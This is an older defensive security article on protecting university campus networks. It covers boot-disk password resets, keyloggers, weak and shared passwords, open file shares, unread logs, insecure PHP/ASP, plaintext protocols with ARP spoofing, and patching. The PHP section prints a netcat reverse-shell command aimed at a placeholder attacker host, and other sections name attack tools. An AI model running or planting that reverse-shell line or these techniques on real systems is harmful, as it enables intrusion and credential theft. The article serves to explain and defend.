Information Security in Campus and Open Environments
Adrian Duane Crenshaw
(Note: See the newest version here)
Much of an information security professional's job involves keeping outsiders
away from the internal network. Much time and money is spent on firewalls and
Intrusion Detection Systems to protect gateway machines. Physical security may
also be taken care of with access cards and locked doors. This is all fine and
good for corporate environments, but what about open environments like
university campuses? When an organization's purpose is the dissemination of
knowledge, the paradigm of information security shifts tremendously.
You can't physically lock the students and faculty out of every computer on
campus. The entire mission of a university is to give the students the tools and
information they need to learn and the faculty what they need to teach. At the
same time a system administrator at an institution of higher learning has to
protect the staff and students from mischievous users on the network. Every
information security professional worries about internal attacks, but this worry
is especially valid in a campus environment where so many users have physical
access to the computers and the network.
So how do we hold back the hordes when the barbarians are already past the
gates? In this article I hope to point out some of the common security problems
with campus environments and some of the solutions. Many problems may not be
solvable because the solution would be counter to the mission of the university,
but with a watchful eye many troubles can be averted.
Physical Security
It's an old computer security axiom that if a cracker has physical access to a
computer, then he has complete access to the software and data on that computer.
It's well known that all one has to do to get a blank local Administrator
password on a Windows 2000 box is to delete the SAM file (c:\WINNT\system32\config\SAM),
a trivial thing to do with a DOS boot disk. Think you're safe because you use
NTFS? Think again. With a handy Linux boot disk from
http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html
an attacker can reset any local password, including Administrator. There is also
ERD Commander and NTFS for Dos from Sysinternals which allow complete access to
NTFS drives from a boot CD or diskette.
Now some of you might be thinking: "Those are just the student access machines -
my faculty workstations and file servers are still safe because they are behind
locked doors." Let me share my little horror story about rights escalation.
Local frat boy Steven cracks a workstation and becomes an admin using a boot
disk. He then installs a key catcher like Ghost KeyLogger, or maybe something
like Fake Gina (from http://www.ntsecurity.nu ) on the box. Later on, one of the
support staff with admin privileges to the file servers and most of the
workstations on campus logs in to do some work and in the process has his user
name and password saved for later retrieval by Steven. Now Steven has access to
most of the boxes on the network.
How does one fight against this problem? Using NTFS helps, but is not an
absolute solution. Putting passwords on the BIOS can help, but generally that
causes more problems for the support staff then the cracker if he has a
screwdriver. The same thing can be said for physically locking a case shut. Up
to date anti-virus software and regular scans for common key loggers is a good
idea. Also setting up regular password expirations can help to mitigate the
effects of key loggers.
Simple Passwords
How many times have you seen someone use a dictionary word as a local
Administrator password? With a little scripting knowledge a cracker can brute
force dictionary passwords in a matter of minutes. On older NT based OSes that
don't have Syskey setup, the cracker can just copy off the SAM and run
L0phtcrack on it to obtain the passwords. From over the network they can use
tools like Brutus to try to crack accounts.
Ensure that password policies do not allow easy-to-guess passwords and that
someone is watching the event logs for signs of a brute force attack. Forced
password changes for the support staff are also a good idea. Also avoid using
social security numbers as default passwords. Social security information goes
across too many desks at a university to be considered secure. Even work-study
students may have access to databases of social security numbers, and such
information regularly makes it to recycle containers unshredded.
Turn off File Sharing and Unneeded Services
Turning off file sharing on computers that do not need it is a must. Many types
of attacks can be averted if an attacker does not have access to administrative
shares. Also, those faulty and staff who must use file and printer sharing
should be taught how to set proper share permissions. By default, Windows gives
the Everyone group full read and write access to shares. To give an example of
how bad this can be, let's assume a secretary in one of the offices wants to
share a database of student names, social security numbers, and addresses with
others in the office. She simply right clicks on the folder she wants to share
and takes all of the defaults. Now one of the students is poking around on the
network to see what computers are out there and what shares they can get into.
They could just browse around Network Neighborhood, or use an automated tool
like Legion or WS_Ping ProPack to find network shares. The student comes across
a share called "Student Database"; two guesses what kind of information is in
it.
Disabling unneeded services like Personal Web Server, SNMP, Simple TCP/IP
Services and others can also go a long way to cutting down on potential
exploits. Even a system that is behind on service packs and hot fixes can't be
exploited if the vulnerable services aren't there to begin with. Turn off
anything that is not used and pay attention to what is being installed on the
network.
Unread Logs
Watch the web and security event logs. There are many times where I would not
have noticed attackers on the network if it were not for looking in Event Viewer
for failed login attempts. Of course logging must be turned on for this to work
so open up MMC (Microsoft Management Console), add Security Configuration and
Analysis, and setup logging of failed logins and access attempts. Better yet,
set up a GPO (Group Policy Object) to automatically configure security auditing
when a machine logs on to the network.
If an Intrusion Detection System is running on campus, make sure someone is
looking at the logs. An IDS like Snort is useless if no one actually looks at
what is recorded.
Web/ASP/PHP
Most universities give students and staff the ability to create their own web
pages on a campus web server. Sometimes the users can even create ASP or PHP
files for their website to make them more dynamic. With PHP installed and
configured insecurely a user could run an arbitrary program in their web folder,
for example Netcat, with a command like this:
$x = shell_exec("nc AttackingBoxIP 30 -e cmd ");
The previous command shovels a shell back to the attacker, allowing the cracker
command line access to the web server and from there he could leap frog to other
machines and have his identity obscured as that of the web server. Active Server
Pages have similar functionality (Wscript.shell). Using methods similar to
these, a user could view the source code of other Active Server Pages (possibly
revealing ODBC passwords), or if the web servers file system is Fat32 or the
NTFS permissions are overly permissive, they could edit other web pages or
system files. To help limit these risks always use NTFS with proper permissions
and limit what a user can script (see http://www.php.net for information on
using the safe_mode directive in PHP, see Microsoft Knowledgebase article
Q278319 for limiting the use of Wscript.shell in Active Server Pages).
Shared Passwords
I've worked in environments where system administration authority is centralized
and the central management won't give the support staff at regional facilities
the access rights they need to get their jobs done. This may be done in the name
of security, but it can have a negative effect on the overall security of the
organization. If support staff members need certain rights they should be given
them, otherwise it leads to password sharing and the use of single accounts that
have many users. This can cause major problems for accountability and damage
control. Let's say Kevin has rights to add new machines into the domain, but his
staff does not. The central administration does not want to give anyone else the
needed rights but Kevin. For Kevin and his staff to get their job done Kevin
must give his password to his staff members, but what if someone decides to do
something "Deviant" with the account? The responsible party would be harder to
trace because so many staff members have access to the account. Another example
is when a support staff member is given the local Administrator passwords to
workstations instead of being put into a Domain security group. If that employee
is later terminated it's much harder to contain the damage they can do because
even if they are taken out of the support staff security groups they still know
other staff's passwords and the local Administrator passwords.
Insecure Protocols
When possible insecure protocols that pass credentials in plain text across the
network should not be used. Common examples of such insecure protocols are FTP,
telnet, POP3, SMTP, and HTTP. In their place use encrypted protocols like SFTP,
SSH (Secure Shell), and HTTPS when possible. Protocols like FTP may be hard to
switch away from because the clients for more secure protocols like SFTP are not
as readily available. FTP clients come with every recent version of Windows (ftp.exe
from the command line and Explorer from a GUI), but free clients that support
SFTP like FileZilla and PSFTP can be downloaded.
Even with a switched network it's not hard for an attacker to use Ettercap from
the Knoppix boot CD or dsniff from the Triux boot diskette to do some
arpspoofing and redirect traffic through them for the proposes of sniffing.
These tools can even parse out use names and passwords automatically, making the
attacker's job easy. If the attacker arpspoofs between the gateway and the FTP
server he can sniff the traffic and extract user names and passwords as users
are trying to get their data from offsite, and the same thing goes for SMTP and
POP3. Even with SFTP, SSL, and SSH, passwords can still be sniffed with Ettercap
because it has the ability to proxy those types of connections. The user might
get a warning that the public key of the server they are trying to get to has
changed or may not be valid, but how many of us just click past those kinds of
messages without actually reading them?
Patch, Patch, Patch
While making sure that unneeded services are disabled limits the scope of
potential exploits, patching is still important. Know what systems are on the
network and patch them in a timely manner. Opensource tools like Nmap (
http://www.insecure.org/
and Nessus ( http://www.nessus.org ) can be used to find out what kinds of
operating systems and services are out there; WMI scripts and Microsoft Baseline
Security Analyzer can be used to find out what service packs and hot fixes a
Windows box is running. Some might be surprised how many machines on their
network are running outdated, exploit-vulnerable operating systems and software.
Conclusion
In closing let me say that an information security professional in a campus
environment is fighting a losing battle from the start. By their very nature
university systems are more open and accessible than corporate systems and must
remain so to be useful to the students, staff, and faculty who use them. Even
though you can't make your campus' network completely secure and still useable,
you can do your best to limit the efforts of the casual cracker. The less casual
ones you can hire.
Adrian Crenshaw
Irongeek@irongeek.com
http://www.irongeek.com
Printable version of this article